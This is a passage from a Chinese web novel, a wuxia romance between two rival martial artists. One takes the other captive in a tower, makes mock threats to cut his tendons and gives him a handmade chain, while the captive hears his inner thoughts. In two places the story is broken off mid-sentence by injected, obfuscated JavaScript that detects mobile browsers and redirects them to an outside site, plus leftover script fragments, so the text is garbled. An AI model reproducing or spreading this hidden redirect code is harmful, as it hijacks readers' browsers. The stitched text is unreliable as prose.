他接着看见了——对方被自己暗算过后被抱了满怀之前,那种不可置信,却恍如释然的眼神。 然后他抱住了高悠悠。 …… 在简单处理完了伤口,把对方带到早就准备好的一处藏身地点,再仔细地清理一遍伤口,接着撒药,把身躯垫在柔软的被褥上,把漂亮的令人心头鼻头都一动的头发一丝不苟地整理干净。 然后他看见对方动了动沉重的眼皮,好像是要醒过来的样子。 他醒了他醒了他醒了! 郭暖律只觉得心口像活过来一样重复着这些激动得语无伦次的字句。 可话到嘴边说出来。 却成了世上最冷酷的言语,最冰冷的口气。 “看见你醒来我才发现,原来你自诩如神如佛,也不过是个愚蠢的凡人,受了伤也一样地狼狈,一样地难看……” 高悠悠虚弱而恼怒地瞪着他,瞪着这个冷眼冷语、满嘴喷毒的郭暖律,却不是因为他嘴上说的话,而是因为…… 【这是我半年来最喜欢的一个早晨了,因为我看见了……】 【刚刚醒,但又没完全醒的……你……】 【你知道自己很漂亮的对吧,悠悠?】 6.你跑不跑呢 ……这家伙又在心里说一些奇形怪状、情感强烈的话了? 他在这儿观察我多久了? 半醒半睡的高悠悠勉强睁开眼,想看清楚眼前这个人。 可只有一个模糊得如同纸片圈成的轮廓映入眼帘,只那几分熟悉得过分的冷言还在耳边徘徊。 眼皮有些沉,眼前依旧有些恍惚,身体如一片儿漂浮在水上的落叶,有些部件像是自己的,有些好像长在了别人身上,知觉半脱半离,可见伤仍在烧,血未曾愈,如今应该还没过去一天,至少没给够复原时间。 这么短时间内,也不可能离开小无相山太远,这一处窄小房间该在五十里内。 既如此,高悠悠只模糊地感受了一圈周围。 床褥新鲜柔软,房间窄小不大,背后的伤口似乎被仔细地包扎过,腿脚的知觉在慢慢回转,而手上…… 等等,手上? 他猛然惊醒,看着自己这双杀人无数、漫尽血光的手,戳人脑壳子如戳豆腐,敲人宝刀如敲山核桃的手。 怎么会…… 一旁的郭暖律抱剑在手,背靠柱子,目光冷然、且煞气十足地如仇敌一般地盯着他。 “你这十根指头最是可恨,我没剁掉是惜才,但看着不太舒爽,重重束缚了才解气。” 高悠悠只眯着一双眼以诡异的角度斜睨着他。 “……重重束缚?” 郭暖律冷笑道:“怎么,想求我帮你解开?” 高悠悠只是看向眼前这双手。 绑他手的……首先不是坚实可靠的铁锁重枷。 其次也不是浸润马尿而变得异常坚硬的绳索。 甚至不是稍牢靠一点的布带与皮带。 而是…… 松散绑着的青绿色宫绦发带。 连个死结都没有。 有一半忘记绑了都快掉下来了。 再不小心维持一下,发带都快散掉了…… 你管这叫重重束缚…… 你是在重重侮辱我的脑子吗? 郭暖律目光凌厉:“死到临头,还只知瞪我?” 【我根本不会打死结,试了半天还是算了,就这样吧,首先捆绑这件事我本来就不擅长,这么麻烦的……】 高悠悠“啪”地一下吧手上的发带和发簪一起捏断了。 然后伸出凌霜赛雪的一双手。 对准郭暖律,漠然道: “重新绑。” 郭暖律:“……什么?” 高悠悠漠然且傲然道:“你绑架的是小无相山十大弟子的首席——‘神佛无相’的高悠悠,你想绑住的手是发得出‘无相随心指’的手,是险些十三次戳穿你喉骨,七次洞穿你心脏,五次挑断你手筋的手……” “你既然要绑架就认真一点,你绑得这么敷衍吝啬……” “你对得起谁?” 郭暖律:“……” 这场面真是第一次见。 高悠悠冷厉地瞥他一眼:“你不绑?是不会么?” “那我教你,我一句句说,你一步步来,傻子都学得会。” 郭暖律那森森寒寒的目光像一下子沉了下来。 “堂堂小无相山首席,这么响亮的人物还不是落在我手里?想教我做事之前,不看看自己凭的什么?” 高悠悠随即闭了闭眼,再睁开时已是湛然神光,即便躺在床上也是一副目不可侵、身不可犯的姿态。 “我曾经帮公门擒拿过江南塞北一带的大盗大贼,自然也知道该如何做才能拿捏得住他们……” “你既打算囚我在此,你束缚我的规格不能比一般的江洋大盗要小,点穴封阻是最起码的,刑具枷锁要一应俱全,另外你理应日夜坚守……” 郭暖律挑了挑眉:“……你有病啊?” 【你为什么会觉得我会喜欢做这种东西?】 【我天生长了一张喜欢囚禁美青年的脸?】 【可我又没有……】 【虽然悠悠你长得很好看很好看,但感觉你才比较像是会做这种事的……】 高悠悠冷瞪他一眼:“……我看你才有病!” 他骂得好看,使郭暖律也眯了眯眼,像悬崖小花儿似的笑,如刀锋剑花在指尖转,说不出的好看,也说不出的锐气与杀气。 “擒你不过是前奏,杀你才是结局,若我是你就该想想,那时为何偏偏松开了手指,给了我擒杀你的机会……” 高悠悠狐疑地瞪他:“你真要杀我?” 郭暖律厉目以对:“我真要杀你!” 这姓郭的小子……不会是传说中那种嘴里心里都说着喜欢啊漂亮啊,其实手里很下得了狠招的人吧? 如果是那样的话…… 那可就很正常了! 是正常的宿敌了! 就真的很让人放心了啊! 高悠悠只觉得如果是这样的话,那之前很多矛盾的地方还能解释得通,那自己还能勉强和他做一做生死宿敌,甚至还能接受他的一些怪话。 这样想的话,心里可能还好受一点点…… 我这认识一年的宿敌,绝没有故意背弃我吧? 他只是性子扭曲、喜偶尔发癔症,经常偶尔对吧? 他想到此处,竟如释重负,便也严肃配合地问:“你现在还未杀我,是因为有话要问我?” 郭暖律断然道:“是,我问完两个问题就会杀你!” “第一,为何在小无相山上躲了半年都不下山?” “第二,和我决斗的时候为何分心?” 这个真不好说。 心声这种东西,说出去了傻子才信。 郭暖律只是性情扭曲古怪,又不是脑子里扭了麻花,他不傻的吧?不会信的吧? 高悠悠实实在在沉默了一会儿,决定扔回去。 “两个问题,我也问你。” “……说。” “那时你为何收剑?” 他目光灼灼,死也不放地盯凝对方。 “你见我之前,准备好的又是什么?” 话音一落,郭暖律几乎是有些诧异且震惊地看向对方。 然而,几乎是转瞬的功夫,他已掩藏好脸上的表情,重新恢复了那种杀气腾腾、麻木不仁的感觉。 “高悠悠,你死到临头了,还不打算回答我的问题?” 【你为什么不说?不说的话我会真的很担心很担心!】 担心什么?难道这场生死游戏他还想玩下去? 高悠悠只淡淡道:“我若死活不说,你待如何?” 你到底是真做宿敌还是故作儿戏? 对方目光彻底冷肃下来:“你若不说,我也不能轻易放了你,但就此杀了你也没什么意思。” “愿意打个赌吗?高悠悠。” “不愿意。” 郭暖律忽卡在那儿。 【……这还能直接不愿意赌的吗?接下来怎么说?】 片刻后,他假装没有听到地说了下去。 “这里其实是一座高塔的顶部,正常逃生的路线已被我封死,你必须另寻出路下去。” “你第一天逃出不去,我挑手筋。” “第二天还是出不去,我挑脚筋。” “第三天还逃不出去,你知道会有什么样的后果了……” 高悠悠有些困惑地看向对方。 怎的忽然变得如此凶残可怕? 难不成这家伙直到今日才露出真实面目……真的是一个心里话与做的事儿完完全全相反的人? 似乎是察觉到他的困惑,郭暖律直接冷了面目道:“你在过往的交锋里也差点挑过我手筋……怕了?不愿赌了?” “若我逃出去了又如何?” 郭暖律随意道:“你若逃得出去,你的伤势恢复之前我就不会去找你……等你好了我们再战,然后你不许再分心,也不准再留手,如此可好?” 怎有种又凶残又讲道理的势头…… 高悠悠目光一凛。 答应了。 在对方转身出去之后,他陷入了十足十的沉思。 其实他知道关于郭暖律年轻时的一些传闻的。 他知道对方说话一直神神叨叨。 还知道这个人曾说过剑是他老婆。 所以他更知道的是,这家伙嘴上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971498|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的话本来就有一定概率是有病的、虚假的、不能作数、不可当真的…… 但最起码是正常的。 正常的宿敌,正常的对手,正常的你死我活,正常的你一剑我一指,比如我把你的喉咙捅穿你把我的后方贯穿这种很正常的事情…… 为什么现在都不正常了? 为什么他表面看上去成熟冷锐得如一把削薄如纸的铁剑,心里的声音却温软清亮地像个从未长大的少年? 为什么在那最接近生死的一瞬与弥留人间的一时,他心里竟没有怨、没有恨,竟然说的是一句……“准备好了”? 准备什么准备? 他是真准备死在自己手里啊!? 还有,为什么要绑架他? 绑架他真的只是为了询问这些问题? 最后,郭暖律真的凶残到可以做得出挑断他的手筋脚筋这种事情吗? 为什么为什么为什么…… 太多为什么。 高悠悠想知道。 他很想很想知道郭暖律心里究竟在想些什么。 因为他听到的只有强烈情感的心声,对于具体细节却并不清楚,所以对方这些想法遗漏出来的时候就像一块儿残碎的地图漏了一角,拼不出个整形儿。 他想知道更多。 他忽然觉得自己已经必须知道——郭暖律到底是个什么样的人。 这代表着自己前一年战斗是否掺杂水分,这代表着自己的这些日子是否有错付,是否看错了人。 看清郭暖律。 看见他面目。 高悠悠在这一瞬间觉得,这甚至比他自己成功地逃出去还要重要。 当晚的郭暖律花了几个时辰,专做某些不为人知的事,且当时他觉得这一切已准备就绪。 他的笑容一直保持到第二天上塔。 高悠悠仍旧在房间里。 端坐如神佛。 清冷如佛子。 还冷冷地睥了前来查询的郭暖律一眼。 “……你还活着呢。” 郭暖律的笑容已过渡了彻头彻尾的冷脸。 “你还在这儿?” 【我昨晚花了足足两个时辰准备的逃生梯子、逃生绳子、逃生索子,你是一件儿都没动过啊!】 高悠悠横眉冷对:“按着赌约,你是不是要挑手筋了?” 他有逃生的本事。 哪怕留下来也能对抗。 只因他就要看看,他内心强烈要地看看,这家伙说的话是不是还算一丁点儿的数。 姓郭的小子,是不是那种内心全在说些漂亮话,其实手底下依旧可以凶残到不顾道德不讲原则的人? 郭暖律似乎是有些阴霾在眼底积聚:“你不信我的话是不是?你不会觉得我口硬心软,会特意恐吓你放过你?” “我现在就挑给你看!” 高悠悠心中急剧恍然,甚至指尖已蓄势待发着一道风,只等对方……对方忽然拿出了一根儿小小的皮筋,戴在了自己那修长分明的手腕上,然后用力地用指甲盖,堪称优雅地挑了一挑。 “……” “…………” 这在搞什么东西? 郭暖律面无表情地指着手上皮筋:“这是手上的一条筋,对不对?” 又指了指自己的手:“我刚才在挑它,对不对?” 最后指了指自己:“合起来我就是在‘挑手筋’,是不是?” 高悠悠死死地瞪着他。 眉眼已开始微微绞动。 这家伙…… 这完全就是…… 郭暖律冷笑一声,故作谬然道:“我只是想告诉你,是挑断真正的手筋还是这种胡闹的挑手筋法,最终还是我来定义,你若一日不逃,就得一日活在这种生死一线的恐惧之中……你今日是侥幸,遇上我的心情好,可是明日……明日你还能如此吗?” 【现场编造实在是一件费心费力的事情,不过幸好我能圆的上,他要是明天再不跑的话,我就得又想出新的方式去圆了……】 【不过……他为什么不跑啊?】 【他为什么这么愤怒地瞪我啊!?】 7.我想看你 一天之前,郭暖律背着高悠悠走到这座十三层高的白虹塔下时,瞧着这椎状的琉璃宝塔,层层都由琉璃浮雕穿凿起落,就如同他的心情一样,是绚烂缤纷、五色斑斓的。 半天之前,郭暖律把高悠悠包扎好放在床上的时候,瞧着这泛白藏玉的面颊,那胸口肌肉一轻一颤得如蝉翼轻摺,道道都是冰雪勾勒的轮廓,只觉这男人身上还是那么白,白得发光,这光连盛他的小房间都照得仿佛广阔了起来。 一个时辰之前,郭暖律放完威胁从高悠悠房间离开时,心里数着自己的床榻离对面房间的距离,一步,三步,十步……十三步,他从未睡在一个离对方这么近的地方。 一炷香前,他还在回想着在高悠悠身上看到的所有细节。他带对方来这座高塔,本就是想检查一下对方身上有没有隐藏的内伤和外伤,看看对方是不是偷偷趁着他受了伤的缘故,才半年都没有下山。 而现在,旧伤检查过,没任何异样,没任何能耽误高悠悠半年的东西,他这时才感到一种异样的念头,一个可怕的思路顶在他的胸口。 半年前的高悠悠……是不是察觉到了什么郭暖律身上的,心里的异样? 所以才待在了小无相山上长达半年? 那现在的高悠悠……是不是也察觉到了什么? 不然要怎么解释……当他在被告知可能会被凶残可怕地挑断手脚筋后,他不逃就罢了,连打也不打起来? 郭暖律可没点他的穴。 他有手有脚。 他能动能杀。 却不动也不杀。 还不紧也不慢地留下。 好像是在观察郭暖律? 还问自己“准备好的是什么”? 他却宁愿对方逃。 或者打。 因为他凭着一种近乎通透的直觉,认定高悠悠似已猜到了什么,知道了什么。 一定是知道了什么。 但还没完全地知道。 如果高悠悠知道——在过去每一次决斗之中,郭暖律都拼了命,但也藏了招,如果他知道郭暖律每一次都在努力地把控局面,让高悠悠受和自己差不多的伤以至于最后能刚刚好地拉扯成平局。 那就不好。 非常不好。 因为如果高悠悠知道——郭暖律始终会在最后一刻停下来,如果他知道自己一直一直存有一个悖逆的心思——不想真正去杀死高悠悠的心思…… 高悠悠就一定会去找新的宿敌。 找新的对手。 他会撇下自己,继续往前飞的! 所以,郭暖律即便万般地、千种地、一百分地不愿意。 也强行压下了想要和高悠悠呆一起,想要多看高悠悠,想要在有高悠悠的房间里呼吸最甜美的空气的愿望。 他一向擅长压制愿望。 也一向善于剿灭情绪。 这是他和高悠悠相似的点,但他比高悠悠做得强——高悠悠不知道自己喜欢的是什么,只把喜欢从自己的情绪本本里去掉,而他知道自己喜欢的是什么,却把喜欢这个词儿给盖住而画成了讨厌。 总之他下了一种近乎残酷、理智的结论。 高悠悠必须得走。 而且是得自己走。 打出去,杀出去,逃出去,都可以。 因为只有这样,郭暖律的秘密才能保住。 才能克制好情绪,就继续去扮演好宿敌的样子。 他不想暴露一丁点的喜欢。不愿让自己的狂放心思像涨潮的海水一样在嘴上泛滥。 过去每次在去见对方之前,他总是时刻地厉声尖叫般地去叮嘱自己——要藏好自己要藏好自己! 不可以不可以不可以去冒犯悠悠! 因为悠悠的样子,活脱脱得就像年轻时的小郭。 小郭一旦被吓坏了,就一定会跑掉。 而高悠悠若被吓跑,就再也不会让人找得到了。 他很有自知之明地晓得——自己半年来几十次都能找到高悠悠,并非因为自己的追踪功夫多么地高明多么地厉害。 而是因为高悠悠允许他追上。 高悠悠从不躲他。 不仅不躲,还会经常偶然地不小心地或故意地在郭暖律出现过的山道、小路、凉亭处,来回走,来回走,来回走…… 高悠悠还以为自己把这一点藏得很好。 就像郭暖律其实也以为自己藏得很好。 反正,他就是要把高悠悠吓唬走。 或者逼得对方出手。 可是——“挑手筋“这个不经思索随口而出的威胁,显然是没有什么实际上的威胁意义的。 他勉强圆了过去,虽然善良的高悠悠当时没拆穿,但那表情那五官——好像眉毛下一刻要飞出去痛揍郭暖律,那威严美丽的两眼更是震怒而瞪大得——能从左眼驾车半个时辰到右眼。 高悠悠的怀疑加深了呢。 怎么办怎么办怎么办呢? 只能这么办了吧。 他这么想,于是在一天后再度推开那扇门,看见门里那个如菩萨似的男人端然坐在自己的囚床之上,那闭目安然的样子仿佛这天地间的牢笼都会因为他而变得神圣,那微微扬起的唇角弧度,似被香火供奉多年的脱俗一笑。 仿佛这全天下的桎梏,全在他脚下成了装饰的鲜花黄金。 他看着高悠悠,心中像沸的糖水那样煮出了纯甜的欢喜和醇香的激动,可话到嘴边一过滤,又成了这世上最冷静克制、残忍可怕的话语。 “你还是没逃走啊。” “那么……我要挑脚筋了哦。” ———— 高悠悠看着眼前冷静的郭暖律,只觉烛光打在这人身上,把他那黑珍珠一般的脸颊烧得毫无理由地漂亮,那一层艳烛之色淌在他俊俏的鼻尖,灿烂得好像会发出光响。 郭暖律这一双眼,当真是冷得刀锋流亮,黑得星屑凝墨。 可是,这么亮堂堂的人,说得却是最暗黑也最无情的话。 挑脚筋? 怎么挑? 高悠悠却一动不动地盯凝着他。 一夜过去了,他是可以走的。 但他选择不走。 他就是要看看,他要睁大眼睛清清脆脆地看——看郭暖律这家伙的葫芦里到底卖的什么药,看看对方到底带他来这儿是想做什么。 不看清楚的话。 他就是不走了! 郭暖律这回似也看清了他的心思,只是目光炙烈如火刀,落在人身上像是能发出噼啪的响儿。 “你是不是以为昨天不过是一场滑稽戏,今天也必定是昨天的重复?” “如果我说,其实我……” 话音未落,他忽一剑轻飘飘地往前递去。 这一剑突兀得没有任何预兆,像平静的日光下来之前的天空骤然一阵撕裂! 高悠悠却当即发指。 他发指是蓄势待发。 是宛如天谴的一指。 发的指风在空气划出裂帛破锦之声儿,如一道儿氤氲的晕光直袭而去。 却被郭暖律一个利落的撩剑扫截。 剑身往上对上指风。 这次竟折射了劲气儿。 那劲气儿那指风一旦偏斜,就如一道银光玉髓般往前翻飞、徐飘、乱跃,在这窄小的无处可躲的房间越过桌板、闪过椅子、翻过洗脸盆,直接击中了墙壁,半路激出的碎石粘片还打灭了一旁的蜡烛。 房间蓦地一黑。 高悠悠当即意识到对方是想引自己出手灭掉蜡烛。 而漆黑一片儿的房间里,一道寒光往下一落,他当即觉出有人如蝙蝠一般滑翔下落,直接往后一指袭去。 那人惊呼一声儿,像是被这一指直接击中而不小心翻飞出了窗户。 好像直接在黑暗里掉落了下去。 高悠悠当即惊出一声冷汗——外面可是十三层高! 他当即不顾一切冲过去捞人。 却因为动作太大速度过快。 导致背后伤口猛地撕裂一阵。 可就在这时,那人却猛地一个鹞子翻身从掉落的窗户那边翻了进来。 一把清寒的犹如代表仇敌意志的软剑抵在了高悠悠的脖子旁。 烛光再一起,照的是高悠悠的面目,和郭暖律面无表情的脸。 郭暖律挑眉,丝毫没有感激之意地说:“我记得你说过——不会感激我的留手,我自然也不会感激你试图救我……” 高悠悠似无所谓:“是,我们之间从来就是这样的。” 可他抬眉看向对方的模样神情仿佛还是有所谓的。 “只是我本以为你会和他们不一样。” “他们是谁?有什么不一样?” “他们不重要,重要的是我以为你是不会使诈的。” 郭暖律嗤笑一声,仿佛听到了一个天大的天真的天都承载不住像大地般广阔的笑话。 “利用地形和光线的变化可不是什么使诈,利用你这一瞬间的慈悲也不是,不出声地从背后出剑才是……” 高悠悠沉默了下来。 他不是出于慈悲。 这只是对于对方毫不吝啬的伤口包扎,毫不犹豫地一路背过来的同等回报。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977633|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可是他也发现,自己又一次听不到对方的心声了。 郭暖律似乎把这场动作都在心底排练了一遍,以至于他根本不需要心声的提醒就能记住在这瞬息该发生的一切。 而现在,郭暖律记住了上次的教训,把剑搁在高悠悠脖子旁的下一刻,就点了高悠悠身上的穴道。 尘埃落定。 结局已定。 郭暖律目光冷厉地看向他:“你昨天本可以逃,是伤势太重逃不出去,还是根本放弃了抵抗,软弱得不想逃跑……” 【我没点住你也没绑住你,你为什么不逃?】 高悠悠沉默一会儿。 “看清楚你,是需要我留下的。” 这话说得那般清绝、那样鲜白,像把一个沉默寡言惯了的泥塑神像给剖开,露出里面藏着的一切骨架和料草烂泥,以至于像把郭暖律模糊不定的目光都烧得清晰赤红了几分。 高悠悠只直直地盯着对方。 “看清楚后,才能决定逃的是哪个方向。” 是上山。 还是下山。 是陪在人间。 还是人间陪我。 所以,在那之前,我想直接穿过这些乱七八糟的心声,通过你的动作你的身姿你的眼神去看清楚你。 因为人有的时候连自己都在骗自己。 因为这世上的道理本来就是很奇怪。 可能有些人心里说做这些都是为了你好,其实都是为了他自己,有些人心里说完全是为了他们自己,倒反而可能是为了你好。 郭暖律,你的心声是可笑的,幼稚的,欢喜的。 那又如何? 它能代表真正的你么? 能代表你杀人的本能,和一身几乎已成为本能的算计么? 也许你也和那些人一样,用自己的心声骗自己,你骗你自己说很开心见到我,你骗你自己说很希望有一个活着的宿敌,但其实——也许你真正想做的是摧毁我、折磨我、杀死我。 谁知道你呢? 你知道你吗? 因为高悠悠听不到任何心声。 对面的沉默如同黑黝黝的山洞一般可怕,丢个东西过去都不会响的。 难道这就是心声的结束了么? 还是说——此刻的郭暖律情绪已压制冷淡到了极点,连杀死我都不会有任何波动? 他是这样揣测的,却不晓得听不到心声——不是因为郭暖律不激动。 恰恰是因为郭暖律太激动。 思绪是乱了的,心声是形成不起来。 郭暖律长吸一口气,只能压抑住所有表情来充当煞气。 “所以,不是我囚禁了你,是你的好奇囚禁了你自己。” “可你不知道好奇要死人的吗,高悠悠?” 高悠悠淡淡道:“不是说只挑脚筋么?” “我真的会死么?” 郭暖律一愣,却见对方认认真真道: “失去一只脚,如果能换来看清楚你这个人究竟是谁。” “这笔买卖亏吗?” “不亏啊。” 高悠悠还是没有听到任何的心声。 面上没有任何表现。 可心中更是困惑、更是失望,也更加怕自己得到的是另外一个结果。 但和之前一样,他听不到心声,不是因为郭暖律没有任何真正的声音在心头响起,而是因为他心内的情绪,已经泛滥成灾一般,比刚刚更浓厚更可怕也更加不成形状了。 震撼太浓厚,喜悦太粘稠,笑意太没有形状和厚度,恍然到了根本发不出心声,心声需要成形的话语,可他此刻的心里全是浓烂了的情。 因为高悠悠居然说——为了看清楚他这个人,哪怕是被真的挑了脚筋也没关系,也值得? 原来他是真的在意郭暖律到愿意留下来,陪这滑稽戏演到个血肉淋漓,竟也愿意? 郭暖律深着呼吸,想用尽一切力气使自己冷静下来邪恶下来无情下来。 却激动难抑、感动难压,而睁大了一双瞪得灿烂且一塌糊涂的眼。 他瞪着高悠悠,却几乎瞪出快乐的血,瞪出了一种感激与心酸并存的光。 因此刻的痛苦里夹着的激动,此刻的快活里混着的呐喊,就好像胸腔里多年来藏了五十多个心脏三十多个肺腑,可怜地挤在一起渴求着相同的血液和相同的空气,希求着从不可得的理解,和从不晓得能不能得到的认同。 却忽然一下子。 都在同一个人,在同一片烛光月光与目光下照着的那个人身上…… 彻底地得到了! 8.不要怕 仿佛三千尺的银瀑下水花四溅,但全成了一个爱心的形状 仿佛千万颗珍珠从天倾盆而下,砸出了一个小狗形的大坑。 郭暖律心中碰撞无止,爱心的甜味和小狗的摇摆都在那儿,该在的情的都在,不该在的也在。 郭暖律定定地看着高悠悠。 过了很久很久,仿佛已经历了一对有情人的遇到、亲热、杀、分离、再归于婚姻平淡的那么久。 也仿佛只过了一瞬,只过了一见钟情所需要的那关键一瞬。 他终于抑住真情。 他只藏好了自己。 抬起了一双冷眸。 “是不是太自以为是了呢,高悠悠?” 【你太相信我了。】 “你总觉得宿敌是遵守规则的生死对手……你以为所有人都会和你一样地守规矩、讲道理。” 【我好害怕啊。】 高悠悠听得一愣。 “可真想和你做敌人的人,又怎会和你讲什么规则?真正的宿敌是无视所有规则,拼尽血肉杀死对方!” 【你居然会这么信任别人,尤其是这种不利的环境下,尤其是像我这样心思叵测、善于隐藏的人……】 高悠悠皱了皱眉。 “只有相爱相敬的对手才讲规则!” 【别人都只觉我冷酷,便推测我不擅隐藏,可是悠悠,其实我最擅藏情了,我一直都是这么藏过来的……】 高悠悠显得有些迷蒙了。 这家伙……为什么要这么藏呢? 以他的实力他的背景,有什么必要这么藏吗? 谁能让他这么藏?谁有这个能耐逼迫他隐藏自己的本性? 郭暖律只目光冷厉道:“既然你这么想看清楚我是什么人……不妨看看我接下来要拿的是什么。” 【你也会这么相信别人么?不行的啊,这样下去迟早叫人寻着机会背叛你的啊,悠悠怎么比我还贤良呢……】 高悠悠挑眉:“……” 他不觉得自己算好心,但也绝对不觉得对方称得上是贤良。 郭暖律冷笑:“你……听说过‘绕足香’么?” 【悠悠悠悠!我要给你一份惊喜!】 高悠悠皱了皱好看的眉。 因为是一道刑具的名字。 外表看上去,它像是一种套在脚上的带有撩刺的链条,这种刑具常常用于刑部大牢,不管是多厉害的江湖高手多猛烈的腿功,用这种链条在脚筋那边绕一圈,这脚也就废了,这人也就从此站不起来了。 想到这里,高悠悠随即生出许多的困惑。 这脑子有病的家伙……在心里说的是“惊喜”? 他曾经参观过盛京的大牢,看见那边的狱卒带着新发明的刑具去折磨可怜的重犯时,也是一脸狞笑地说惊喜。 记得有个人伦毒杀惨案,做儿子的给父亲捧上一碗毒汤的时候,说的也是给爹爹一个惊喜。 还有个帮派火并案,几个下属在一起把钢刀刺入帮主的胸膛之前在肺腑里会师合并时,说的也是给大哥一个惊喜。 这小子…… 不会是心里笑嘻嘻,却不妨碍在手上折磨他吧? 而郭暖律似也没有顾忌什么,直接就把他的足踝扯住,脱去白袜,露出纤细的脚踝和漂亮的脚趾。 他看这脚的一瞬间就定了一格。 好像看见了什么千万颗珍珠洒下来磨成粉化作的东西。 然后他漠然地握着,好像没有任何情绪地看着高悠悠。 高悠悠微微迷惑道:“你……” 【悠悠到底是怎么保养的,为什么我只能靠涂白粉变得白一点,而他好像天生就这么白……难道他连腋毛都是白的吗……那鼻毛呢……】 高悠悠的眉头一搐:“你有病吗!” 郭暖律只是面无表情地看向他,从眉头到下巴都武装起了冷漠,仿佛整个人是由杀意的泥与煞气的骨架所凝成的神像。 “每个人都会生病。” “你生的是轻信的病。” “而我生的是狠心病。” “你莫怪我,我只废你一只脚而不是杀了你,这教训或可使你记住什么才是真正的敌人。” 【悠悠不可以太相信我的,因为有时我连自己都信不过的,我还没有小郭可靠……】 ……小郭是谁? 高悠悠无所谓地看着对方,感觉都已经有点不耐烦、不在乎了。 不管怎样,反正就用这次失利去换取看清一切的机会好了,赌输还是赌赢都随便它吧。 然后他就看到看似冷漠无情、凶残可怕的郭暖律从床底下小心翼翼地掏出了一个盒子。 那小心的姿态还让人以为他捧出的是什么宝藏而不是刑具。 打开的一瞬间,高悠悠还没楞什么,结果郭暖律先愣住了。 因为里面是一条细小的银链。 不知是要戴在手上或者脚上。 只是手工有些粗,银质有些糙,看上去做装饰都够呛的那种。 郭暖律皱了皱眉,看向高悠悠道:“我和县城上的狱卒买了刑具,他们和我说这是断脚筋的刑具来着,看来是骗了我……” 高悠悠已经有点懒得配合了。 “你这又在演哪一出滑稽戏?” 郭暖律冷然道:“如果我是演戏,一开始就不会和你浪费时间,只是偶然被骗了而已。” 这话编得已经有点强行无视逻辑了,就连一向懒得说话的高悠悠也抑不住嘲讽的欲。 “你不就是这天底下最喜欢浪费时间的人么?” “就为了恐吓戏耍于我,你昨天特意跑下塔,去买了这么丑的一条链子……” “这种东西送给狗带,狗都会嫌你寒酸……” “你已经神志不清到以为这种狗都不要的链子都能吓到人么……” 【——不是买的。】 高悠悠被这句忽然冒出来的心声给截得愣住了。 因为此时此刻的郭暖律,只是沉默地看向前门。 【是我特意学着首饰店的样式,昨天自己一点点编的。】 【但刚刚打开的一瞬好像太过激动,不小心给拽断了……】 【本来想借着这个机会给你戴的。】 【你是真心觉得编得很丑很丑吗?】 【……对不住。】 【我居然以为这种东西能让你......】 高悠悠:“……” 他叹了口气。 这家伙…… 昨晚上忙的就是这种无聊的事吗? 不就是第一次编链子断掉了。 不就是被尊敬的宿敌嘲讽丑陋吗? 不就是又被评价为狗都不会去戴吗? 有什么好心酸的? ……算了。 高悠悠看似不依不饶、实则配合地瞪他:“不是说好的挑脚筋?说好的让我看清楚你,你不继续么?” 郭暖律却没吭声。 只默默解开了穴道。 然后面无表情地扔掉了那条自己精心编造的丑链子。 好像确实在扔掉一条连路过的狗都不要的垃圾一样。 高悠悠刚想说什么,结果对方只低头往前走,似是毫不在意地一脚踩过链子。 好像踩过什么随手可抛的情,什么随时可掷的意。 就这么转身离开了。 高悠悠默默地看向对方。 只觉得莫名其妙。 有什么好难过? 但他难过的只是一条链子么? 然后对方忽然停下。 【你已经看出来了对吧?】 高悠悠一愣。 对方却继续背对着他,在心里说。 【你从前也这样,把小无相山的大师兄刘循方当做是最大的对手,可当你当众把他打倒以后,你就再也没多看过他一眼了。】 【你抛下了他,哪怕他当了你好一阵子的老师。】 【你也曾把二师兄尹向闲当做是最大的对手,可当你用他最得意的招式打败他以后,你也没有再多看他一眼了。】 【你再也不理他了,哪怕你曾把他当做旗鼓相当的宿敌。】 【你这一生可以有很多个宿敌,可只要你看尽了他们,你就会迅速转移到下一个,你就是靠着不断地攀登而变强的。】 【我也在变强。】 【但我不知道,能不能把变强的速度永远保持得和你一致。】 【倘若有一天,你也看尽了我的招,倘若你比我先一步。】 【你会一路往前。】 【就像我踩过的这条丑链子。】 【我不会回头,你更不会去回头的对不对?】 高悠悠彻底震惊了。 然后,他从对方心底听出一种释然的声音。 【可这样也不错。】 【我们之间总会有一个人会先往前一步,总要有人永不回头,我只需尽力而为,专注自身……】 【哪怕是断掉的,连狗不要看的链子,它被编织成的那一瞬,也尽力在这世上存在过了啊!】 “——郭暖律!” 郭暖律听得心头一震,猛然回头。 那是他第一次听到对方以这样鲜活愤怒的语气叫自己,那口气就好像他想指着自己的脑门大声地把接下来的这句话给生生狠狠地倒灌进去,不留任何余地地塞满他高悠悠的怒声吼音。 “你脑子里到底在想些什么乱七八糟的东西!?” 郭暖律惊疑不定地抬起冷眼,瞥过去电光般的一眼。 这一眼厉得足够把人的面颊刺痛。 只因高悠悠的异常表现忽然让他怀疑到了什么可怕的念头。 须知他刚刚明明保持了足够的静默。 他可是一句多余的话都没说。 根本什么异常都没表现出来。 高悠悠到底是怎么知道他心里在想一些乱七八糟的事儿的? 而且这么生气干什么? 生气得这么好看干嘛? 高悠悠站直身躯,往前几步,怒瞪着他也怒看着他,说话如怒龙吐舌、抬眸似怒火四溢。 “你以为我一直往前,你以为我对那些路上的对手、敌人,从来都不回头的吗!?” “大师兄刘循方在我初入门的时候帮过我,二师兄尹向闲在他空闲的时候教导过我,所以我找出了他二人招式中的破绽,是因为 